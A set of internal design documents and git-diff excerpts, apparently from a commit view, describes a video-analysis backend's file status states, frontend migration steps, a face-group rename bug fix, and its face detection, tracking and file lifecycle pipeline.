`face_mgmt_ready` 表示檔案已具備完整臉部管理功能，需同時滿足以下四個條件：
| 依賴項 | 檢查條件 | 說明 |
|--------|---------|------|
| **Face Qdrant Ready** | `_faces` collection 有 face points | Face embeddings 已存入 Qdrant |
| **Face Trace Ready** | `face_traced.json` 存在且有 traces | Face tracking 已完成 |
| **Face Profile Ready** | `trace_profiles` 有紀錄 | Profile 資料已建立 |
| **Face TKG Node Ready** | `tkg_nodes` 有 `face_track` nodes | TKG 圖譜節點已建立 |
---
## 6. 狀態依賴關係
```
registered → scanning → keyword_ready → semantic_ready
↓
face_mgmt_ready → agent_ready → completed
```
---
## 7. 測試 API
```bash
# 取得所有檔案
curl http://localhost:3002/api/v1/files \
-H "Authorization: Bearer <api_key>"
# 觸發狀態同步
curl -X POST http://localhost:3002/api/v1/file/{file_uuid}/sync-status \
-H "Authorization: Bearer <api_key>"
```
---
## 8. 參考文件
| 文件 | 完整路徑 |
|------|---------|
| People API | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md` |
| Status Unification | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/20_status_unification.md` |
| Studio Team Guide | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md` |
| AGENTS.md | `/Users/accusys/momentry_core/AGENTS.md` |
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# Studio Team 配套修改指南
**Version**: 1.0
**Date**: 2026-07-26
**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md`
**目標**: 通知 Studio team 後端 Pipeline 狀態變更，前端需配合更新
---
## 1. 概述
後端已完成以下修改：
1. 移除 `identity_agent`，替換為 `face_dedup`（Face Deduplication）
2. 重構 `sync_file_status` 邏輯：檢查 JSON 存在 + DB 一致性
3. Pipeline 進度階段重新分配
**影響範圍：**
- 檔案狀態顯示（status）
- Pipeline 進度顯示（progress stages）
- 統計 API 回傳格式
---
## 2. 檔案狀態變更
### 新狀態清單
| Status | 中文顯示 | 圖示 | 說明 |
|--------|---------|------|------|
| `registered` | 已註冊 | 📋 | 尚未開始處理 |
| `scanning` | 掃描中 | 🔍 | 處理中（JSON 存在但 DB 不一致） |
| `completed` | 已完成 | ✅ | 所有 processor 完成且 DB 一致 |
| `agent_ready` | Agent 可用 | 🤖 | TKG edges 存在 |
### 已移除的狀態
| 舊狀態 | 新狀態 | 說明 |
|--------|--------|------|
| `processing` | `scanning` | 更明確表示正在處理 |
| `pending` | `registered` | 尚未開始 |
| `face_mgmt_ready` | `completed` | 最終狀態統一為 completed |
### 狀態判斷邏輯
| 條件 | 狀態 |
|------|------|
| 所有 JSON 存在且 DB 一致 | `completed` |
| 部分 JSON 存在但不一致 | `scanning` |
| 無 JSON 存在 | `registered` |
| TKG edges 存在 | `agent_ready` |
---
## 3. Pipeline 進度階段變更
### 修改前（7 個 stage）
```
Processors (30%) → Rule1 (5%) → Face Tracing (5%) → identity_agent (10%) → TKG Nodes (20%) → TKG Edges (15%) → Rule2 (15%)
```
### 修改後（7 個 stage）
```
Processors (30%) → Rule1 (5%) → Face Tracing (5%) → face_dedup (10%) → TKG Nodes (20%) → TKG Edges (15%) → Rule2 (15%)
```
### 需要修改的前端元件
| 元件 | 修改內容 |
|------|---------|
| Pipeline Progress Bar | 移除 `identity_agent`，新增 `face_dedup` |
| Stage Labels | 更新 stage 名稱 |
| Overall Progress | 重新計算權重 |
---
## 4. API 變更
### `/api/v1/file/{file_uuid}/sync-status`
**回傳格式變更：**
**修改前：**
```json
{
"status": "face_mgmt_ready",
"processors_complete": 5,
"processors_total": 5,
"worker": { ... }
}
```
**修改後：**
```json
{
"success": true,
"file_uuid": "...",
"status": "completed",
"processors": {
"asr": { "json_exists": true, "consistent": true },
"asrx": { "json_exists": true, "consistent": true },
"ocr": { "json_exists": true, "consistent": true },
"pose": { "json_exists": true, "consistent": true },
"cut": { "json_exists": true, "consistent": true },
"face": { "json_exists": true, "consistent": true },
"face_cluster": { "json_exists": true, "consistent": true }
},
"worker": { ... }
}
```
### `/api/v1/file/{file_uuid}/stats`
**回傳格式變更：**
**修改前：**
```json
{
"identity_agent": {
"clusters": 0,
"identities_created": 0,
"tmdb_matches": 0,
"speaker_bindings": 0,
"confirmations": 0
}
}
```
**修改後：**
```json
{
"face_dedup": {
"clusters": 5,
"face_tracks": 24,
"consistent": true
}
}
```
---
## 5. Studio 前端需修改項目
### 5.1 狀態顯示邏輯
**位置：** Studio 前端檔案列表元件
**修改前：**
```javascript
const statusLabels = {
'completed': '✅ 已完成',
'processing': '🔄 處理中',
'pending': '⏳ 待處理',
'face_mgmt_ready': '🎭 臉部管理可用',
'agent_ready': '🤖 Agent 可用'
};
```
**修改後：**
```javascript
const statusLabels = {
'completed': '✅ 已完成',
'scanning': '🔍 掃描中',
'registered': '📋 已註冊',
'agent_ready': '🤖 Agent 可用'
};
```
### 5.2 Pipeline 進度顯示
**位置：** Studio 前端 Pipeline Progress 元件
**修改項目：**
1. 移除 `identity_agent` stage
2. 新增 `face_dedup` stage
3. 更新 stage 名稱映射
### 5.3 統計面板
**位置：** Studio 前端檔案統計面板
**修改項目：**
1. 移除 `Identity Agent` 區塊
2. 新增 `Face Deduplication` 區塊
3. 顯示欄位：`clusters`, `face_tracks`, `consistent`
---
## 6. 測試清單
- [ ] 檔案列表狀態顯示正確
- [ ] Pipeline 進度階段正確顯示
- [ ] Overall Progress 計算正確
- [ ] 統計面板 Face Dedup 區塊顯示正確
- [ ] sync-status API 回傳格式解析正確
- [ ] stats API 回傳格式解析正確
---
## 7. 參考文件
| 文件 | 完整路徑 |
|------|---------|
| Studio Team Guide | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md` |
| People API | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md` |
| Pipeline Changes | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md` |
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# Studio Fix: Face Group Name 讀寫不一致
**Date**: 2026-07-27
**Author**: Studio Team
**Status**: ✅ 已修復並部署
---
## 問題描述
Studio 前端在 Face 頁面 rename group name 後，離開再回來時名稱未更新。但 People Search 可以查到新名稱。
### 根因
**寫入**和**讀取**走了不同的資料來源：
| 操作 | API Endpoint | 實際讀寫欄位 |
|------|-------------|------------|
| **寫入 (rename)** | `PUT /api/v1/trace-profile/group` | `trace_profiles.name` |
| **讀取 (卡片顯示)** | `GET /api/v1/file/:uuid/face-groups` | `tkg_nodes.label` |
`trace_profiles.name` 和 `tkg_nodes.label` 是兩張獨立的表/欄位（見 `19_people_api.md`），rename 只更新了 `trace_profiles.name`，但卡片顯示讀的是 `tkg_nodes.label`。
---
## 修復內容
### 修改檔案
`/Users/accusys/momentry_core/src/api/profile.rs` — `get_face_groups_handler` (line 552-591)
### 改前 SQL
```sql
SELECT label, properties FROM tkg_nodes
WHERE file_uuid = $1 AND node_type = 'face_track'
ORDER BY (properties->>'trace_id')::int
```
### 改後 SQL
```sql
SELECT COALESCE(tp.name, tn.label) as name, tn.properties
FROM tkg_nodes tn
LEFT JOIN trace_profiles tp ON tp.file_uuid = tn.file_uuid
AND tp.trace_id = (tn.properties->>'trace_id')::int
WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track'
ORDER BY (tn.properties->>'trace_id')::int
```
### Rust 程式碼變更
```diff
pub async fn get_face_groups_handler(...) {
let tkg_table = schema::table_name("tkg_nodes");
+ let tp_table = schema::table_name("trace_profiles");
let rows: Vec<(String, serde_json::Value)> = sqlx::query_as(&format!(
- "SELECT label, properties FROM {} \
- WHERE file_uuid = $1 AND node_type = 'face_track' \
- ORDER BY (properties->>'trace_id')::int",
- tkg_table
+ "SELECT COALESCE(tp.name, tn.label) as name, tn.properties \
+ FROM {} tn \
+ LEFT JOIN {} tp ON tp.file_uuid = tn.file_uuid \
+ AND tp.trace_id = (tn.properties->>'trace_id')::int \
+ WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track' \
+ ORDER BY (tn.properties->>'trace_id')::int",
+ tkg_table, tp_table
))
...
- for (label, properties) in rows {
+ for (name, properties) in rows {
...
- if label.starts_with("Face Trace ") || label.starts_with("Trace ") {
+ if name.starts_with("Face Trace ") || name.starts_with("Trace ") {
unassigned.push(trace_id);
} else {
- groups.entry(label).or_default().push(trace_id);
+ groups.entry(name).or_default().push(trace_id);
}
}
}
```
---
## 影響範圍
| 項目 | 影響 |
|------|------|
| **Face 頁面卡片顯示** | ✅ 現在從 `trace_profiles.name` 讀取，rename 後立即生效 |
| **People Search** | 不受影響（本來就查 `trace_profiles.name`） |
| **未命名 traces** | 不受影響（`COALESCE` fallback 到 `tkg_nodes.label`，如 `Person_0`） |
| **Cluster Agent 初始化** | 不受影響（初始化時兩邊都寫入相同值） |
---
## 注意事項（給 Core Team）
1. **未來如果有需要同時更新 `tkg_nodes.label` 的情境**（例如 graph 顯示需要），請注意 `PUT /api/v1/trace-profile/group` 目前只更新 `trace_profiles.name`
2. **建議**：如果 `tkg_nodes.label` 和 `trace_profiles.name` 應該保持一致，可以考慮：
- 方案 A（目前做法）：讀取端用 `COALESCE` 優先取 `trace_profiles.name`
- 方案 B：寫入端同時更新兩個欄位（需要改 `update_trace_profile_group_handler`）
3. **`merge_groups_handler`** 目前同時更新 `trace_profiles.name` 和 `tkg_nodes.label`（line 278-310），行為正確，不需要改
---
## 驗證
```bash
# 測試 face-groups endpoint 正確回傳 rename 後的名稱
curl -s "http://localhost:3002/api/v1/file/4655a0ab3c077e30c12b2298c2750650/face-groups" \
-H "X-API-Key: <key>" | jq '.face_groups[] | {name, trace_count}'
# 預期輸出包含 "Susan"（已 rename 的 group）
# { "name": "Susan", "trace_count": 7 }
```
docs_v1.0/API_WORKSPACE/modules/99_incomplete.md
+2 -2
View File
@@ -166,7 +166,7 @@ These endpoints are defined in source code but not mounted in the router:
| Endpoint | Notes |
|----------|-------|
| `/api/v1/search/persons` | Defined but not mounted |
| `/api/v1/search/people` | ✅ Mounted |
| `/api/v1/who` | Defined but not mounted |
| `/api/v1/who/candidates` | Defined but not mounted |
@@ -179,7 +179,7 @@ These endpoints are defined in source code but not mounted in the router:
| Undocumented | 3 (resource management) |
| Partially documented | 5 (5W1H ×3, identity agent ×2) |
| Stub/not functional | 5 (visual search) |
| Defined but unmounted | 3 (persons, who, who/candidates) |
| Defined but unmounted | 2 (who, who/candidates) |
| **Total** | **16** |
---
docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md
+148
View File
@@ -0,0 +1,148 @@
---
title: Always-Produce Processing Contract
version: 1.0
date: 2026-07-24
author: OpenCode
status: approved
---
# Always-Produce Processing Contract
## Scope
| Field | Value |
|-------|-------|
| Scope | All frame-based processors (face, pose, appearance, face_cluster, face_trace, etc.) |
| Status | Approved |
| Applies to | Python processors + Rust Worker |
| Related docs | `DESIGN/Processor_Module_V1.0.md`, `DESIGN/Redis_Progress_Reporting_V1.0.md`, `DESIGN/Worker_Health_Check_Mechanism.md` |
## 1. Frame-Scan Model
Video processing is fundamentally frame-based: a processor scans from frame 0 to the last frame.
```
Scan start → frame 0 → frame 1 → ... → frame N → scan complete
↓ ↓ ↓ ↓
Redis Redis Redis {uuid}.{p}.json
progress progress progress (final record)
```
### Key Rules
1. **Progress** = which frame has been scanned so far (`current_frame / total_frames`)
2. **Complete** = scanned to the last frame (proved by `.json` existing)
3. **Result** = always written, even if 0 detections found
## 2. Always-Produce Rule
### Principle
> Every processor MUST write its `{uuid}.{processor}.json` output file after completing its scan, **regardless of whether any results were found**.
### Rationale
The `.json` file serves dual purpose:
- **Proof of completion**: Worker uses `output_path.exists()` (line 580 of `job_worker.rs`) to skip already-finished processors
- **Downstream dependency**: Subsequent processors check this file for input
Without the Always-Produce rule:
- Zero-result processors leave no `.json` → Worker retries infinitely → deadlock
- Stuck jobs block downstream stages (Rule 1/2/3 ingestion, TKG build)
### Format
All processor JSON outputs MUST include:
```json
{
"status": "has_faces" | "no_faces" | "no_face_json" | "no_embeddings" | "success" | "error_*",
"file_uuid": "<uuid>",
...processor-specific fields (empty arrays when zero results)
}
```
Example — face cluster with no faces:
```json
{
"status": "no_faces",
"file_uuid": "9781de6d...",
"clusters": [],
"frames": []
}
```
### Processor Checklist
| Processor | Always-Produce? | Status field on 0 result |
|-----------|----------------|--------------------------|
| `face.py` | ✅ Yes | `"no_faces"` |
| `store_traced_faces.py` | ✅ Yes (already writes) | `"no_faces"` |
| `fast_face_clustering_processor.py` | ❌ **FIX NEEDED** | Early returns, no file written |
| `pose_processor*.py` | ✅ Yes | `"no_faces"` |
| `appearance_processor*.py` | ✅ Yes | `"no_faces"` |
## 3. Redis Progress During Scan
### Purpose
Live frame progress is published to Redis so the QC modal can display real-time status ("scanning frame 1234/5678").
### Mechanism
Use `redis_publisher.py` (`RedisPublisher` class) which publishes to Redis channel `{prefix}progress:{uuid}`:
```python
from redis_publisher import RedisPublisher
pub = RedisPublisher(file_uuid)
# During scan, per batch:
pub.progress("face_cluster", current_frame, total_frames, f"Scanning frame {current_frame}")
# On completion:
pub.complete("face_cluster", f"Done: {cluster_count} clusters")
```
### Frequency
- **Frame-based processors**: publish every N frames (batch/buffer flush)
- **Non-frame processors** (e.g., clustering): publish at meaningful milestones
## 4. Worker Heartbeat
### Problem
`health.rs` currently uses `check_process_running("worker")` which relies on `ps aux | grep momentry.*worker`. This is unreliable:
- Zombie processes show as "running"
- Stale matches from unrelated processes
### Fix
Worker writes a Redis HMSET `{prefix}health` with EXPIRE = `3 × poll_interval_secs` (default: 15s) in every `poll_and_process()` cycle.
Health endpoint checks:
1. Redis key `{prefix}health` exists
2. Key has remaining TTL > 0
3. Key's `status` field is `"healthy"` or `"throttled"`
If Redis key missing or expired → `worker_alive: false`.
## 5. Implementation Plan
| Step | File | Change |
|------|------|--------|
| 1 | `fast_face_clustering_processor.py` | Always-Produce for 3 early returns + Redis progress |
| 2 | `store_traced_faces.py` | Add Redis progress (optional) |
| 3 | `job_worker.rs` | Add EXPIRE after health HMSET |
| 4 | `health.rs` | Replace `check_process_running("worker")` with Redis TTL check |
| 5 | `processing.rs` | (Optional) Reject trigger if Worker not alive |
---
## Version History
| Version | Date | Author | Changes |
|---------|------|--------|---------|
| 1.0 | 2026-07-24 | OpenCode | Initial specification |
docs_v1.0/DESIGN/FACE_TRACKING_PIPELINE_V1.0.md
+341
View File
@@ -0,0 +1,341 @@
---
title: Face Tracking Pipeline Structure
version: 1.0
date: 2026-07-22
author: OpenCode
status: Active
---
# Face Tracking Pipeline — Structure Design
## Overview
```
Video
│
▼
┌──────────────────────────────┐
│ Stage 1: Face Detection │ face_processor.py
│ swift_face (Apple Vision) │ → {uuid}.face.json
│ CoreML FaceNet embedding │ → Qdrant _faces (initial)
└──────────────────────────────┘
│
▼
┌──────────────────────────────┐
│ Stage 2: Face Tracking │ store_traced_faces.py
│ face_tracker.py (IoU) │ → {uuid}.face_traced.json
│ trace_id assignment │ → Qdrant _faces (trace_id update)
└──────────────────────────────┘
│
▼
┌──────────────────────────────┐
│ Stage 3: Trace Profile │ backfill_trace_profiles.py
│ Qdrant _faces 分組 │ → output/{uuid}/trace_{N}/
│ key_frame + key_face │ trace_profile.json
└──────────────────────────────┘
│
▼
┌──────────────────────────────┐
│ Stage 4: TKG Nodes │ tkg.rs
│ Qdrant _faces → trace_id │ → tkg_nodes (face_track, etc.)
└──────────────────────────────┘
```
---
## Stage 1: Face Detection
**Script**: `scripts/face_processor.py`
### Flow
1. `swift_face` (Swift/Apple Vision/ANE) → bbox detection per sampled frame
2. `cv2` opens video, crops face from bbox
3. CoreML FaceNet → 512D embedding per face
4. Output: `{uuid}.face.json`
5. Push embeddings to Qdrant `_faces` collection
### Output Format: `{uuid}.face.json`
```json
{
"status": "has_faces",
"frame_count": 563,
"fps": 29.97,
"total_faces": 1200,
"frames": [
{
"frame": 743,
"timestamp": 24.78,
"faces": [
{
"x": 892, // int, pixel
"y": 313, // int, pixel
"width": 78, // int, pixel
"height": 78, // int, pixel
"confidence": 0.733,
"pose_angle": { "angle": "frontal", "roll": 0.77, "yaw": -1.24, "pitch": 0.23 },
"landmarks": { "right_eye": [...], "nose": [...], "left_eye": [...] },
"lips": { "inner_lips": [...], "outer_lips": [...] }
}
]
}
]
}
```
**Key points**:
- bbox is **pixel integer** from Apple Vision, never modified
- face.json uses **list format** (not dict)
- Sampling at ~8Hz (`sample_interval = round(fps / 8)`)
### Qdrant Initial Push
`push_face_embeddings_batch()` in `qdrant_faces.py`:
```python
payload = {
"file_uuid": file_uuid,
"frame": frame_num,
"trace_id": face_idx, # ⚠️ frame-internal index (0, 1, 2...), NOT tracking trace_id
"bbox": {"x": x, "y": y, "width": w, "height": h}, # int pixel
"confidence": 0.5,
"identity_id": None,
"identity_uuid": None,
"stranger_id": None,
}
```
**Important**: `trace_id` at this stage is `face_idx` (index within the frame), used only as a temporary placeholder. It gets overwritten in Stage 2.
---
## Stage 2: Face Tracking
**Scripts**: `scripts/store_traced_faces.py` → `scripts/utils/face_tracker.py`
### Trigger
`job_worker.rs` P2 trigger (line ~1877): after face + asrx processors complete.
```rust
tokio::spawn(async move {
executor.run("store_traced_faces.py", &["--file-uuid", &uuid], ...)
});
```
Skip if `{uuid}.face_traced.json` already exists.
### Flow
1. `store_traced_faces.py` reads `{uuid}.face.json`
2. Converts face.json from list to dict format (frame_num_str → {frame_number, time_seconds, faces})
3. Loads cut boundaries from `{uuid}.cut.json` (if exists)
4. Calls `face_tracker.track_faces(face_data, use_embedding=False, cut_boundaries=...)`
5. Writes `{uuid}.face_traced.json`
6. Calls `update_trace_ids(file_uuid, trace_mapping)` to update Qdrant
### `face_tracker.py:track_faces()`
**Algorithm** (IoU-only, no embedding):
```
For each frame (sorted):
For each face in current frame:
Match against previous frame faces:
- Calculate IoU
- Calculate bbox center distance
- Reject if area ratio > 5x (different zoom level)
- Reject if at-edge → not-at-edge transition (person exited)
If match found → same trace_id as matched face
If no match → new trace_id (next_trace_id++)
Scene cut boundary between frames → force all new traces
```
**Matching conditions** (IoU-only mode):
- IoU > 0.5 AND IoU > 0.35 + distance < 100px → match
- IoU > 0.5 + similarity > 0.65 → match (similarity not used but condition exists)
- similarity > 0.85 → match (not used in IoU-only mode)
- Scene cut boundary → all new traces
### Output Format: `{uuid}.face_traced.json`
Same structure as face.json, but:
- Format converted to **dict** (`frames[str(frame_num)]` → face data)
- Each face gains `trace_id` field (integer)
- Top-level `traces` dict with per-trace statistics
- `metadata.tracking_method = "iou_only"`
- `metadata.traced_at = ISO timestamp`
```json
{
"metadata": {
"fps": 29.97,
"total_frames": 43977,
"tracking_method": "iou_only",
"trace_stats": {
"total_traces": 107,
"active_traces": 107,
"long_traces": 95
}
},
"frames": {
"743": {
"frame_number": 743,
"faces": [
{ "x": 892, "y": 313, "width": 78, "height": 78, "trace_id": 0, ... }
]
}
},
"traces": {
"0": {
"trace_id": 0,
"start_frame": 743,
"end_frame": 783,
"duration_frames": 41,
"total_appearances": 11,
"avg_confidence": 0.72
}
}
}
```
### Qdrant Trace Update
`update_trace_ids()` in `qdrant_faces.py`:
1. Scroll all Qdrant `_faces` points for `file_uuid` (with vector + payload)
2. For each point, build `bbox_key = f"{bbox.x}_{bbox.y}_{bbox.width}_{bbox.height}"`
3. Look up `trace_mapping[frame][bbox_key]` from face_traced.json
4. If match found → set `payload["trace_id"] = real_trace_id`
5. PUT updated points back to Qdrant
**Matching key**: `frame` + `bbox_key` (pixel integer string)
---
## Stage 3: Trace Profile
**Script**: `scripts/backfill_trace_profiles.py`
### Data Source
Qdrant `_faces` collection (source of truth for trace_id assignments).
### Flow
1. Scroll all `_faces` points for each `file_uuid` with `trace_id >= 0`
2. Group by `(file_uuid, trace_id)`
3. For each group:
- `frame_count` = count of points
- `start_frame` = min(frame)
- `end_frame` = max(frame)
- `representative_frame` = frame with max(confidence)
- `representative_bbox` = bbox at representative frame
4. Extract `key_frame.jpg` via ffmpeg at representative frame
5. Crop `key_face.jpg` from key_frame using representative bbox
6. Write `output/{uuid}/trace_{N}/trace_profile.json`
### Output: `output/{uuid}/trace_{N}/trace_profile.json`
```json
{
"version": "1.0",
"file_uuid": "d8acb03870f0cc9b14e01f14a7bf24d6",
"trace_id": 37,
"label": "",
"frame_count": 38,
"start_frame": 1859,
"end_frame": 2100,
"avg_confidence": 0.754,
"key_frame": "key_frame.jpg",
"key_face": "key_face.jpg",
"status": "pending"
}
```
### File Layout
```
output/{uuid}/
trace_0/
trace_profile.json
key_frame.jpg
key_face.jpg
trace_1/
trace_profile.json
key_frame.jpg
key_face.jpg
...
```
---
## Stage 4: TKG Node Construction
**File**: `src/core/processor/tkg.rs`
Reads trace_id from Qdrant `_faces` payload to build knowledge graph nodes:
- `face_track` nodes: one per trace
- `gaze_track`, `lip_track`: linked to face_track via frame alignment
- `co_occurrence` edges: traces that appear in same frame
---
## Qdrant `_faces` Collection Schema
| Field | Type | Description |
|-------|------|-------------|
| `file_uuid` | string | Video file identifier |
| `frame` | int | Video frame number (absolute, not sampled) |
| `trace_id` | int | Face tracking ID (set by Stage 2) |
| `bbox` | `{x, y, width, height}` | Pixel integer coordinates |
| `confidence` | float | Detection confidence |
| `identity_id` | int? | Identity binding (set by identity agent) |
| `identity_uuid` | string? | Identity UUID |
| `stranger_id` | int? | Stranger classification |
**Point ID**: `generate_point_id(file_uuid, frame, face_idx)` — deterministic hash.
---
## Known Issues
### bfba056f5021e2404b0870cc0b1fa851
- **Qdrant**: trace_id = 0,1,2 (face_idx, never updated)
- **face_traced.json**: trace_id = 0-8209 (8210 traces, iou_only)
- **Root cause**: `face_processor.py` re-ran after `store_traced_faces.py`, pushing fresh embeddings with `trace_id=face_idx`, overwriting the updated trace_ids
- **Other 12 files**: all correct
### `update_trace_ids` bbox matching
Matching is by exact `frame` + `bbox_key` string (`x_y_width_height`). Since bbox is pixel integer from the same source, values are identical across face_traced.json and Qdrant. Mismatch only occurs when face_processor.py re-runs and generates different detection results.
---
## File Inventory (2026-07-22)
| file_uuid | traces (Qdrant) | traces (face_traced) | status |
|-----------|-----------------|----------------------|--------|
| 30affad3... | 52 | 53 | ✅ |
| 31a6b821... | 31 | 36 | ⚠️ minor mismatch |
| 352cf73a... | 16 | 25 | ⚠️ minor mismatch |
| 57bd7e43... | 3 | 4 | ✅ |
| 5e5f3de8... | 21 | 22 | ✅ |
| 84d838f2... | 88 | 89 | ✅ |
| 88e72467... | 18 | 19 | ✅ |
| 9cbeb112... | 9 | 17 | ⚠️ minor mismatch |
| bfba056f... | 15 | 8210 | ❌ face_idx not updated |
| c0a9dc37... | 77 | 78 | ✅ |
| c36f3568... | 5601 | 5616 | ⚠️ minor mismatch |
| d8acb038... | 106 | 107 | ✅ |
| fbd82072... | 12 | 13 | ✅ |
---
## Version History
| Version | Date | Changes |
|---------|------|---------|
| 1.0 | 2026-07-22 | Initial document: face detection → tracking → Qdrant → TKG pipeline structure |
docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md
+476 -161
View File
@@ -1,198 +1,513 @@
---
document_type: "design_doc"
service: "MOMENTRY_CORE"
title: "File Lifecycle — Pre-Processing & Registration"
version: "V1.2"
date: "2026-05-15"
author: "M5"
status: "draft"
title: File Lifecycle Architecture
version: 1.0
date: 2026-07-22
author: OpenCode
status: Active
scope: File processing pipeline — stages, verification, rebuild
---
# File Lifecycle — Pre-Processing & Registration
# File Lifecycle Architecture V1.0
| Item | Value |
|------|-------|
| Scope | All managed file types (video, image, document, spreadsheet, presentation) |
| Status | Draft |
| Applies to | Pre-process API (explicit) + Register API |
| Key concept | Two-phase flow: birth certificate (`.pre.json`) → civil registration (DB INSERT) |
| Field | Value |
|-------|-------|
| Scope | Complete file processing lifecycle |
| Status | Active |
| Applies to | Pipeline stages, progress tracking, verification, rebuild |
| Related | `FILE_PROFILE_V1.0.md`, `FACE_TRACKING_PIPELINE_V1.0.md` |
> **Applicable to all managed file types**: video, image, document (pdf, docx, pages, key, numbers), spreadsheet, presentation, and any other file registered in the system. The pre-processor registers any file type found by the watcher. ffprobe is used when applicable; files that ffprobe cannot parse receive minimal filesystem metadata as a fallback.
---
## Metaphor
## 1. Overview
Every registered video file passes through a deterministic pipeline of stages.
Each stage must produce a `.json` (or `.jpg`) artifact on disk.
This enables:
- **Verification**: Check pipeline completeness by inspecting artifact existence
- **Rebuild**: Re-run any stage from its input artifacts without re-running the entire pipeline
- **Progress tracking**: Two-layer display (high-level summary + expandable sub-stages)
### Design Principles
1. **Every stage has a `.json` output** — no silent DB-only writes
2. **Any stage can be rebuilt** from its input artifacts
3. **Frontend reads stages from API** — not hardcoded
4. **Verification is disk-first** — check `.json` exists, then validate content, then check DB/Qdrant consistency
5. **Processors are not modified** — this document defines tracking/verification/rebuild only
---
## 2. Stage Architecture
### 2.1 High-Level Stages (6)
| # | Stage | Weight | Sub-Stages | Description |
|---|-------|--------|------------|-------------|
| S0 | Register | 5% | 4 | File metadata + audio track + key frame extraction |
| S1 | Processors | 40% | 8 | Individual processor execution |
| S2 | Post-Process | 20% | 4 | Face trace, Rule1, Vectorize, Identity Agent |
| S3 | TKG Build | 20% | 2 | Temporal Knowledge Graph nodes + edges |
| S4 | Rule2 | 10% | 1 | Relationship chunk ingestion |
| S5 | Complete | 5% | 1 | Final status update |
### 2.2 Sub-Stages (15)
```
SHA256 = DNA or fingerprint (immutable biometric identity)
file mtime = birth moment (preserved by rsync across systems)
birthday (file_uuid anchor) = mtime timestamp
.pre.json = birth certificate
POST /api/v1/files/register = civil registration
status = registered = citizenship completed
S0: Register (5%)
├─ 0a: probe → probe.json
├─ 0b: audio_track → DB: audio_track column (no disk artifact)
├─ 0c: profile → profile.json
└─ 0d: key_frame → key_frame.jpg
S1: Processors (40%)
├─ 1a: cut → cut.json
├─ 1b: asr → asr.json
├─ 1c: asrx → asrx.json (depends: 1a + 1b)
├─ 1d: ocr → ocr.json
├─ 1e: face → face.json (+ Qdrant _faces initial)
├─ 1f: pose → pose.json (depends: 1e)
├─ 1g: appearance → appearance.json (depends: 1f)
└─ 1h: face_dedup → face_cluster.json (depends: 1e) [OPTIONAL + MANUAL]
S2: Post-Process (20%)
├─ 2a: face_trace → face_traced.json (+ Qdrant trace_id update)
├─ 2b: rule1 → rule1.json (ASRX → sentence chunks)
├─ 2c: vectorize → vectorize.json (embeddings → PG + Qdrant)
└─ 2d: identity_agent → identity_agent.json (optional)
S3: TKG Build (20%)
├─ 3a: tkg_nodes → tkg_nodes.json
└─ 3b: tkg_edges → tkg_edges.json
S4: Rule2 (10%)
└─ 4a: rule2 → rule2.json (relationship chunks)
S5: Complete (5%)
└─ 5a: complete → status = "completed"
```
## Two-Phase Flow
A file enters the system in two distinct phases:
| Phase | Action | Analogy | Automatic? | Status |
|-------|--------|---------|:----------:|:------:|
| **Birth** | Pre-process: SHA256 + probe + file_uuid | 出生 + 醫院開出生證明 | ✅ Watcher | `unregistered` |
| **Citizenship** | Register: INSERT into DB | 戶政事務所登記 | ❌ User API | `registered` |
## Phase 1: Pre-Processing (Birth)
### Trigger
Pre-processing is triggered explicitly via the register API or a dedicated pre-process endpoint. It is NOT automatic — the watcher only detects new files without modifying them.
### Computation Steps
### 2.3 Dependency Graph
```
1. fs::metadata(path).modified()
→ birthday = file modification time (mtime, RFC 3339; preserved by rsync -a across systems)
2. SHA256(full file, streaming 64KB chunks)
→ content_hash = 512-bit hex string (file DNA / fingerprint)
3. ffprobe (or minimal fs metadata fallback for non-video)
→ probe_json
4. compute_birth_uuid(mac, birthday, canonical_path, filename)
→ file_uuid = SHA256(mac | birthday | path | filename)[0:32]
5. Write {OUTPUT_DIR}/{file_uuid}.pre.json
S0 (Register)
└─→ S1 (Processors)
├─ 1a (CUT) ─────┐
├─ 1b (ASR) ─────┤
│ └─→ 1c (ASRX) ──→ 2b (Rule1)
├─ 1d (OCR) ──────────────────────→ 3a (TKG Nodes)
├─ 1e (Face) ──┬─→ 1f (Pose) ──→ 1g (Appearance) ──→ 3a
│ ├─→ 1h (FaceDedup) [manual]
│ └─→ 2a (Face Trace) ──→ 3a
└─────────────────────────────────────→ 3a
│
S2: 2c (Vectorize) ←── DB chunks │
S2: 2d (IdentityAgent) ←── face_clusters │
↓
3b (TKG Edges)
│
↓
4a (Rule2)
│
↓
5a (Complete)
```
### Output: `.pre.json` Schema
---
Stored alongside other processor outputs:
## 3. I/O Specification
### 3.1 Register (S0)
| Sub-Stage | Input | Output Artifact | DB Tables | Qdrant |
|-----------|-------|----------------|-----------|--------|
| 0a: probe | video file on disk | `{uuid}.probe.json` | — | — |
| 0b: audio_track | probe.json, video file | DB column only | videos.audio_track | — |
| 0c: profile | probe.json | `{uuid}.profile.json` | videos (INSERT/UPDATE) | — |
| 0d: key_frame | probe.json | `{uuid}.key_frame.jpg` | — | — |
**Audio Track Classification** (S0b):
| Classification | Condition | ASR Behavior |
|----------------|-----------|--------------|
| `no_audio` | No audio track in video | Skip ASR, output `{"status": "no_audio"}` |
| `silent_audio` | Audio track exists but no speech detected | Skip ASR, output `{"status": "silent_audio"}` |
| `music_only` | Audio with no speech (music/sound effects) | Skip ASR, output `{"status": "music_only"}` |
| `speech_only` | Audio with speech only (≥30% speech ratio) | Run ASR normally |
| `speech_with_music` | Speech with background music (<30% speech ratio) | Run ASR normally |
### 3.2 Processors (S1)
| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant |
|-----------|----------------|----------------|-----------|--------|
| 1a: cut | probe.json | `{uuid}.cut.json` + `{uuid}_scene_{n}.jpg` | processor_results | — |
| 1b: asr | video file | `{uuid}.asr.json` | processor_results | — |
